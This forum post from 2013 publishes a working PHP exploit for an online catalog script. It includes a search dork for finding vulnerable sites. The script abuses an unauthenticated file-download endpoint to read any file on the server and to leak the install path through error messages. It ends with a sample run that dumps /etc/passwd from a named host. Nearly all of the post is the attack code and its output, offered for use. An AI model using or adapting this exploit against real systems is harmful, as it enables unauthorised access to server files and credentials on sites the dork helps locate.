shaggi Posted January 2, 2013 Report Posted January 2, 2013 ################################################### Description : Online catalog script - grab the content of any file on the server# Author : shaggi# Contact: contect@shaggi.me# Link : http://demo.catalogscolar.com# Date : January 2, 2013# Dork : inurl:clase.html intitle:Catalog##################################################<?phpfunction help(){ echo "Usage: php exploit.php --get-data demo.catalogscolar.com /etc/passwd\n --get-data : Get content of a file on the server\n --get-path : Get the path to the script\n";die();}if(!isset($argv[1]) || !isset($argv[2]) ){help();} switch($argv[1]){ case "--get-path"; $data = file_get_contents("http://$argv[2]/admin/backup/downloadsql.php?file=")."\n"; $data = explode("Filename cannot be empty in <b>",$data); $data = explode("admin/backup/downloadsql.php</b> on line <b>",$data[1]); echo $data[0]; break; case "--get-data"; if(!isset($argv[3])){help();} $data = file_get_contents("http://$argv[2]/admin/backup/downloadsql.php?file=$argv[3]"); echo $data; break; default; help(); } ?>Usage:shaggi@enux:~/Desktop$ php exploit.php --get-data demo.catalogscolar.com /etc/passwdnobody:x:99:99:Nobody:/:/sbin/nologinbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltnews:x:9:13:news:/etc/news:uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologinoperator:x:11:0:operator:/root:/sbin/nologingames:x:12:100:games:/usr/games:/sbin/nologingopher:x:13:30:gopher:/var/gopher:/sbin/nologinftp:x:14:50:FTP User:/var/ftp:/sbin/nologinnscd:x:28:28:NSCD Daemon:/:/sbin/nologinvcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologinpcap:x:77:77::/var/arpwatch:/sbin/nologinrpc:x:32:32:Portmapper RPC user:/:/sbin/nologinsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologindbus:x:81:81:System message bus:/:/sbin/nologinavahi:x:70:70:Avahi daemon:/:/sbin/nologinrpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologinhaldaemon:x:68:68:HAL daemon:/:/sbin/nologinavahi-autoipd:x:100:102:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologinnamed:x:25:25:Named:/var/named:/sbin/nologinxfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologindovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologincpaneleximfilter:x:32007:32009::/var/cpanel/userhomes/cpaneleximfilter:/usr/local/cpanel/bin/noshellroot:x:0:0:root:/root:/bin/bashmysql:x:101:103:MySQL server:/var/lib/mysql:/bin/bashmail:x:8:12:mail:/var/spool/mail:/sbin/nologinmailnull:x:47:47::/var/spool/mqueue:/sbin/nologinsmmsp:x:51:51::/var/spool/mqueue:/sbin/nologinmailman:x:32006:32006::/usr/local/cpanel/3rdparty/mailman/mailman:/usr/local/cpanel/bin/noshellpostgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bashxphpin:x:608:604::/home/xphpin:/usr/local/cpanel/bin/noshellshaggi@enux:~/Desktop$ Quote